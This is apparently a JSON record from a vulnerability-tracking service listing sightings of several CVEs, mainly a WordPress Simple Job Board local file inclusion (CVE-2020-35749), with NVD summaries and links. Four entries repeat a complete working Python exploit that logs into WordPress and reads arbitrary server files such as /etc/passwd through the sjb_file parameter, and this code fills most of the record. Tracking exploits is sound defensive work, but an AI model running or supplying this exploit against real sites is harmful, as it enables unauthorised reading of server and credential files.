{"vulnerability": "cve-2020-3574", "sightings": [{"uuid": "d8c87a90-fef4-449f-8848-0ad42444f491", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-35749", "type": "exploited", "source": "https://www.exploit-db.com/exploits/49450", "content": "", "creation_timestamp": "2021-01-21T00:00:00.000000Z"}, {"uuid": "1bccff1b-5caa-436d-a418-b1f1458d7fe6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-35749", "type": "seen", "source": "MISP/7e30afa1-9c59-47ef-8d0c-2922f4e447aa", "content": "", "creation_timestamp": "2024-11-14T06:07:38.000000Z"}, {"uuid": "c8397044-8918-4247-90b9-8ba0a5788813", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-35749", "type": "published-proof-of-concept", "source": "https://t.me/intelexch/7752", "content": "https://github.com/M4xSec/Wordpress-CVE-2020-35749", "creation_timestamp": "2022-02-07T20:19:03.000000Z"}, {"uuid": "6540c589-4221-440f-b169-53aaa8969491", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-35745", "type": "seen", "source": "https://t.me/cibsecurity/21796", "content": "\u203c CVE-2020-35745 \u203c\n\nPHPGURUKUL Hospital Management System V 4.0 does not properly restrict access to admin/dashboard.php, which allows attackers to access all data of users, doctors, patients, change admin password, get appointment history and access all session logs.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-01-08T00:41:00.000000Z"}, {"uuid": "16584564-2276-4173-a40c-2bbde270d836", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-35749", "type": "seen", "source": "https://t.me/pwnwiki_zhchannel/559", "content": "CVE-2020-35749 Simple JobBoard \u8a8d\u8b49\u6587\u4ef6\u8b80\u53d6\u6f0f\u6d1e\nhttps://www.pwnwiki.org/index.php?title=CVE-2020-35749_Simple_JobBoard_%E8%AA%8D%E8%AD%89%E6%96%87%E4%BB%B6%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E", "creation_timestamp": "2021-05-31T04:04:51.000000Z"}, {"uuid": "ef7d485b-d18a-4758-b333-bd5e63302034", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-35745", "type": "published-proof-of-concept", "source": "https://t.me/thebugbountyhunter/5043", "content": "Privilege Escalation \u2014 Unauthenticated access to Admin Portal (CVE-2020\u201335745)\n\nhttps://medium.com/@ashketchum/privilege-escalation-unauthenticated-access-to-admin-portal-cve-2020-35745-bb5d5dca97a0", "creation_timestamp": "2021-01-06T16:39:05.000000Z"}, {"uuid": "3440498c-8715-4214-a577-96417ac50ff6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-3574", "type": "seen", "source": "https://t.me/cibsecurity/16002", "content": "\u203c CVE-2020-3574 \u203c\n\nA vulnerability in the TCP packet processing functionality of Cisco IP Phones could allow an unauthenticated, remote attacker to cause the phone to stop responding to incoming calls, drop connected calls, or unexpectedly reload. The vulnerability is due to insufficient TCP ingress packet rate limiting. An attacker could exploit this vulnerability by sending a high and sustained rate of crafted TCP traffic to the targeted device. A successful exploit could allow the attacker to impact operations of the phone or cause the phone to reload, leading to a denial of service (DoS) condition.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2020-11-06T22:51:20.000000Z"}, {"uuid": "57f521f1-20fc-4761-870a-e3038ff4ad9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-35749", "type": "seen", "source": "https://t.me/hacking_Attack/42047", "content": "Exploit Collector\nWordPress Simple Job Board 2.9.3 Local File Inclusion\n\nhttps://2.bp.blogspot.com/-n3YJZo98ptc/WWlvfHNo4ZI/AAAAAAAAIP8/W2JyxBpYTHMTjkJx5zl91eYOlgUDpw8egCLcBGAs/s1600/h84.png \nWordPress Simple Job Board plugin version 2.9.3 suffers from a local file inclusion vulnerability.\n\nMD5 | e059abbfdfefc909ce027e4265e3e84b\n\nDownload\n# Exploit Title: Wordpress Plugin Simple Job Board 2.9.3 - Local File Inclusion\n# Date: 2022-02-06\n# Exploit Author: Ven3xy\n# Vendor Homepage: https://wordpress.org/plugins/simple-job-board/\n# Software Link: https://downloads.wordpress.org/plugin/simple-job-board.2.9.3.zip\n# Version: 2.9.3\n# Tested on: Ubuntu 20.04 LTS\n# CVE : CVE-2020-35749\nimport requests\nimport sys\nimport time\n\nclass color:\nHEADER = '\\033[95m'\nIMPORTANT = '\\33[35m'\nNOTICE = '\\033[33m'\nOKBLUE = '\\033[94m'\nOKGREEN = '\\033[92m'\nWARNING = '\\033[93m'\nRED = '\\033[91m'\nEND = '\\033[0m'\nUNDERLINE = '\\033[4m'\nLOGGING = '\\33[34m'\ncolor_random=[color.HEADER,color.IMPORTANT,color.NOTICE,color.OKBLUE,color.OKGREEN,color.WARNING,color.RED,color.END,color.UNDERLINE,color.LOGGING] \ndef banner():\nrun = color_random[6]+'''\\nY88b         /                888~~                     888          ,e,   d8 \nY88b       /  888-~88e       888___ Y88b  /  888-~88e  888  e88~-_   \"  _d88__ \nY88b  e  /   888  888b ____ 888     Y88b/   888  888b 888 d888   i 888  888 \nY88bd8b/    888  8888      888      Y88b   888  8888 888 8888   | 888  888 \nY88Y8Y     888  888P      888      /Y88b  888  888P 888 Y888   ' 888  888 \nY  Y      888-_88\"       888___  /  Y88b 888-_88\"  888  \"88_-~  888  \"88_/ \n888                                888                              \\n'''\nrun2 = color_random[2]+'''\\t\\t\\t(CVE-2020-35749)\\n''' \nrun3 = color_random[4]+'''\\t{ Coded By: Ven3xy  | Github: https://github.com/M4xSec/ }\\n\\n'''\nprint(run+run2+run3) \nif (len(sys.argv) != 5):\nbanner()\nprint(\"[!] Usage   : ./wp-exploit.py <target_url<file_path<user<pass\")\nprint(\"[~] Example : ./wp-exploit.py http://target.com:8080/wordpress/ /etc/passwd admin admin\")\nexit()\n\nelse:\nbanner()\nfetch_path = sys.argv[2]\nprint (color_random[5]+\"[+] Trying to fetch the contents from \"+fetch_path)\ntime.sleep(3)\ntarget_url = sys.argv[1]\nusernamex = sys.argv[3]\npasswordx = sys.argv[4]\nprint(\"\\n\")\nlogin = target_url+\"wp-login.php\"\nwp_path = target_url+'wp-admin/post.php?post=application_id&action=edit&sjb_file='+fetch_path\nusername = usernamex\npassword = passwordx\n\nwith requests.Session() as s:\nheaders = { 'Cookie':'wordpress_test_cookie=WP Cookie check',\n'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.2 Safari/605.1.15' }\n\npost_data={ 'log':username, 'pwd':password, \n'wp-submit':'Log In','redirect_to':wp_path, \n'testcookie':'1'\n} \n\ns.post(login, headers=headers, data=post_data)\nresp = s.get(wp_path)\n\nout_file = open(\"output.txt\", \"w\")\nprint(resp.text, file=out_file)\nout_file.close()\nprint(color_random[4]+resp.text)\nout = color_random[5]+\"\\n[+] Output Saved as: output.txt\\n\"\nprint(out)\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:01:56.610606Z"}, {"uuid": "81a78f11-674e-4b9c-b602-c971a8680a17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-35749", "type": "seen", "source": "https://t.me/hacking_Attack/42047", "content": "Exploit Collector\nWordPress Simple Job Board 2.9.3 Local File Inclusion\n\nhttps://2.bp.blogspot.com/-n3YJZo98ptc/WWlvfHNo4ZI/AAAAAAAAIP8/W2JyxBpYTHMTjkJx5zl91eYOlgUDpw8egCLcBGAs/s1600/h84.png \nWordPress Simple Job Board plugin version 2.9.3 suffers from a local file inclusion vulnerability.\n\nMD5 | e059abbfdfefc909ce027e4265e3e84b\n\nDownload\n# Exploit Title: Wordpress Plugin Simple Job Board 2.9.3 - Local File Inclusion\n# Date: 2022-02-06\n# Exploit Author: Ven3xy\n# Vendor Homepage: https://wordpress.org/plugins/simple-job-board/\n# Software Link: https://downloads.wordpress.org/plugin/simple-job-board.2.9.3.zip\n# Version: 2.9.3\n# Tested on: Ubuntu 20.04 LTS\n# CVE : CVE-2020-35749\nimport requests\nimport sys\nimport time\n\nclass color:\nHEADER = '\\033[95m'\nIMPORTANT = '\\33[35m'\nNOTICE = '\\033[33m'\nOKBLUE = '\\033[94m'\nOKGREEN = '\\033[92m'\nWARNING = '\\033[93m'\nRED = '\\033[91m'\nEND = '\\033[0m'\nUNDERLINE = '\\033[4m'\nLOGGING = '\\33[34m'\ncolor_random=[color.HEADER,color.IMPORTANT,color.NOTICE,color.OKBLUE,color.OKGREEN,color.WARNING,color.RED,color.END,color.UNDERLINE,color.LOGGING] \ndef banner():\nrun = color_random[6]+'''\\nY88b         /                888~~                     888          ,e,   d8 \nY88b       /  888-~88e       888___ Y88b  /  888-~88e  888  e88~-_   \"  _d88__ \nY88b  e  /   888  888b ____ 888     Y88b/   888  888b 888 d888   i 888  888 \nY88bd8b/    888  8888      888      Y88b   888  8888 888 8888   | 888  888 \nY88Y8Y     888  888P      888      /Y88b  888  888P 888 Y888   ' 888  888 \nY  Y      888-_88\"       888___  /  Y88b 888-_88\"  888  \"88_-~  888  \"88_/ \n888                                888                              \\n'''\nrun2 = color_random[2]+'''\\t\\t\\t(CVE-2020-35749)\\n''' \nrun3 = color_random[4]+'''\\t{ Coded By: Ven3xy  | Github: https://github.com/M4xSec/ }\\n\\n'''\nprint(run+run2+run3) \nif (len(sys.argv) != 5):\nbanner()\nprint(\"[!] Usage   : ./wp-exploit.py <target_url<file_path<user<pass\")\nprint(\"[~] Example : ./wp-exploit.py http://target.com:8080/wordpress/ /etc/passwd admin admin\")\nexit()\n\nelse:\nbanner()\nfetch_path = sys.argv[2]\nprint (color_random[5]+\"[+] Trying to fetch the contents from \"+fetch_path)\ntime.sleep(3)\ntarget_url = sys.argv[1]\nusernamex = sys.argv[3]\npasswordx = sys.argv[4]\nprint(\"\\n\")\nlogin = target_url+\"wp-login.php\"\nwp_path = target_url+'wp-admin/post.php?post=application_id&action=edit&sjb_file='+fetch_path\nusername = usernamex\npassword = passwordx\n\nwith requests.Session() as s:\nheaders = { 'Cookie':'wordpress_test_cookie=WP Cookie check',\n'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.2 Safari/605.1.15' }\n\npost_data={ 'log':username, 'pwd':password, \n'wp-submit':'Log In','redirect_to':wp_path, \n'testcookie':'1'\n} \n\ns.post(login, headers=headers, data=post_data)\nresp = s.get(wp_path)\n\nout_file = open(\"output.txt\", \"w\")\nprint(resp.text, file=out_file)\nout_file.close()\nprint(color_random[4]+resp.text)\nout = color_random[5]+\"\\n[+] Output Saved as: output.txt\\n\"\nprint(out)\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:02:17.909084Z"}, {"uuid": "b8d676b9-1709-4d55-b940-114ff2b1760e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-35749", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/42047", "content": "Exploit Collector\nWordPress Simple Job Board 2.9.3 Local File Inclusion\n\nhttps://2.bp.blogspot.com/-n3YJZo98ptc/WWlvfHNo4ZI/AAAAAAAAIP8/W2JyxBpYTHMTjkJx5zl91eYOlgUDpw8egCLcBGAs/s1600/h84.png \nWordPress Simple Job Board plugin version 2.9.3 suffers from a local file inclusion vulnerability.\n\nMD5 | e059abbfdfefc909ce027e4265e3e84b\n\nDownload\n# Exploit Title: Wordpress Plugin Simple Job Board 2.9.3 - Local File Inclusion\n# Date: 2022-02-06\n# Exploit Author: Ven3xy\n# Vendor Homepage: https://wordpress.org/plugins/simple-job-board/\n# Software Link: https://downloads.wordpress.org/plugin/simple-job-board.2.9.3.zip\n# Version: 2.9.3\n# Tested on: Ubuntu 20.04 LTS\n# CVE : CVE-2020-35749\nimport requests\nimport sys\nimport time\n\nclass color:\nHEADER = '\\033[95m'\nIMPORTANT = '\\33[35m'\nNOTICE = '\\033[33m'\nOKBLUE = '\\033[94m'\nOKGREEN = '\\033[92m'\nWARNING = '\\033[93m'\nRED = '\\033[91m'\nEND = '\\033[0m'\nUNDERLINE = '\\033[4m'\nLOGGING = '\\33[34m'\ncolor_random=[color.HEADER,color.IMPORTANT,color.NOTICE,color.OKBLUE,color.OKGREEN,color.WARNING,color.RED,color.END,color.UNDERLINE,color.LOGGING] \ndef banner():\nrun = color_random[6]+'''\\nY88b         /                888~~                     888          ,e,   d8 \nY88b       /  888-~88e       888___ Y88b  /  888-~88e  888  e88~-_   \"  _d88__ \nY88b  e  /   888  888b ____ 888     Y88b/   888  888b 888 d888   i 888  888 \nY88bd8b/    888  8888      888      Y88b   888  8888 888 8888   | 888  888 \nY88Y8Y     888  888P      888      /Y88b  888  888P 888 Y888   ' 888  888 \nY  Y      888-_88\"       888___  /  Y88b 888-_88\"  888  \"88_-~  888  \"88_/ \n888                                888                              \\n'''\nrun2 = color_random[2]+'''\\t\\t\\t(CVE-2020-35749)\\n''' \nrun3 = color_random[4]+'''\\t{ Coded By: Ven3xy  | Github: https://github.com/M4xSec/ }\\n\\n'''\nprint(run+run2+run3) \nif (len(sys.argv) != 5):\nbanner()\nprint(\"[!] Usage   : ./wp-exploit.py <target_url<file_path<user<pass\")\nprint(\"[~] Example : ./wp-exploit.py http://target.com:8080/wordpress/ /etc/passwd admin admin\")\nexit()\n\nelse:\nbanner()\nfetch_path = sys.argv[2]\nprint (color_random[5]+\"[+] Trying to fetch the contents from \"+fetch_path)\ntime.sleep(3)\ntarget_url = sys.argv[1]\nusernamex = sys.argv[3]\npasswordx = sys.argv[4]\nprint(\"\\n\")\nlogin = target_url+\"wp-login.php\"\nwp_path = target_url+'wp-admin/post.php?post=application_id&action=edit&sjb_file='+fetch_path\nusername = usernamex\npassword = passwordx\n\nwith requests.Session() as s:\nheaders = { 'Cookie':'wordpress_test_cookie=WP Cookie check',\n'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.2 Safari/605.1.15' }\n\npost_data={ 'log':username, 'pwd':password, \n'wp-submit':'Log In','redirect_to':wp_path, \n'testcookie':'1'\n} \n\ns.post(login, headers=headers, data=post_data)\nresp = s.get(wp_path)\n\nout_file = open(\"output.txt\", \"w\")\nprint(resp.text, file=out_file)\nout_file.close()\nprint(color_random[4]+resp.text)\nout = color_random[5]+\"\\n[+] Output Saved as: output.txt\\n\"\nprint(out)\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-06T10:00:06.280827Z"}, {"uuid": "4ab01716-cf55-4d87-af87-bf0b517d12ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-35749", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/42047", "content": "Exploit Collector\nWordPress Simple Job Board 2.9.3 Local File Inclusion\n\nhttps://2.bp.blogspot.com/-n3YJZo98ptc/WWlvfHNo4ZI/AAAAAAAAIP8/W2JyxBpYTHMTjkJx5zl91eYOlgUDpw8egCLcBGAs/s1600/h84.png \nWordPress Simple Job Board plugin version 2.9.3 suffers from a local file inclusion vulnerability.\n\nMD5 | e059abbfdfefc909ce027e4265e3e84b\n\nDownload\n# Exploit Title: Wordpress Plugin Simple Job Board 2.9.3 - Local File Inclusion\n# Date: 2022-02-06\n# Exploit Author: Ven3xy\n# Vendor Homepage: https://wordpress.org/plugins/simple-job-board/\n# Software Link: https://downloads.wordpress.org/plugin/simple-job-board.2.9.3.zip\n# Version: 2.9.3\n# Tested on: Ubuntu 20.04 LTS\n# CVE : CVE-2020-35749\nimport requests\nimport sys\nimport time\n\nclass color:\nHEADER = '\\033[95m'\nIMPORTANT = '\\33[35m'\nNOTICE = '\\033[33m'\nOKBLUE = '\\033[94m'\nOKGREEN = '\\033[92m'\nWARNING = '\\033[93m'\nRED = '\\033[91m'\nEND = '\\033[0m'\nUNDERLINE = '\\033[4m'\nLOGGING = '\\33[34m'\ncolor_random=[color.HEADER,color.IMPORTANT,color.NOTICE,color.OKBLUE,color.OKGREEN,color.WARNING,color.RED,color.END,color.UNDERLINE,color.LOGGING] \ndef banner():\nrun = color_random[6]+'''\\nY88b         /                888~~                     888          ,e,   d8 \nY88b       /  888-~88e       888___ Y88b  /  888-~88e  888  e88~-_   \"  _d88__ \nY88b  e  /   888  888b ____ 888     Y88b/   888  888b 888 d888   i 888  888 \nY88bd8b/    888  8888      888      Y88b   888  8888 888 8888   | 888  888 \nY88Y8Y     888  888P      888      /Y88b  888  888P 888 Y888   ' 888  888 \nY  Y      888-_88\"       888___  /  Y88b 888-_88\"  888  \"88_-~  888  \"88_/ \n888                                888                              \\n'''\nrun2 = color_random[2]+'''\\t\\t\\t(CVE-2020-35749)\\n''' \nrun3 = color_random[4]+'''\\t{ Coded By: Ven3xy  | Github: https://github.com/M4xSec/ }\\n\\n'''\nprint(run+run2+run3) \nif (len(sys.argv) != 5):\nbanner()\nprint(\"[!] Usage   : ./wp-exploit.py <target_url<file_path<user<pass\")\nprint(\"[~] Example : ./wp-exploit.py http://target.com:8080/wordpress/ /etc/passwd admin admin\")\nexit()\n\nelse:\nbanner()\nfetch_path = sys.argv[2]\nprint (color_random[5]+\"[+] Trying to fetch the contents from \"+fetch_path)\ntime.sleep(3)\ntarget_url = sys.argv[1]\nusernamex = sys.argv[3]\npasswordx = sys.argv[4]\nprint(\"\\n\")\nlogin = target_url+\"wp-login.php\"\nwp_path = target_url+'wp-admin/post.php?post=application_id&action=edit&sjb_file='+fetch_path\nusername = usernamex\npassword = passwordx\n\nwith requests.Session() as s:\nheaders = { 'Cookie':'wordpress_test_cookie=WP Cookie check',\n'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.2 Safari/605.1.15' }\n\npost_data={ 'log':username, 'pwd':password, \n'wp-submit':'Log In','redirect_to':wp_path, \n'testcookie':'1'\n} \n\ns.post(login, headers=headers, data=post_data)\nresp = s.get(wp_path)\n\nout_file = open(\"output.txt\", \"w\")\nprint(resp.text, file=out_file)\nout_file.close()\nprint(color_random[4]+resp.text)\nout = color_random[5]+\"\\n[+] Output Saved as: output.txt\\n\"\nprint(out)\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-07T01:00:23.973313Z"}]}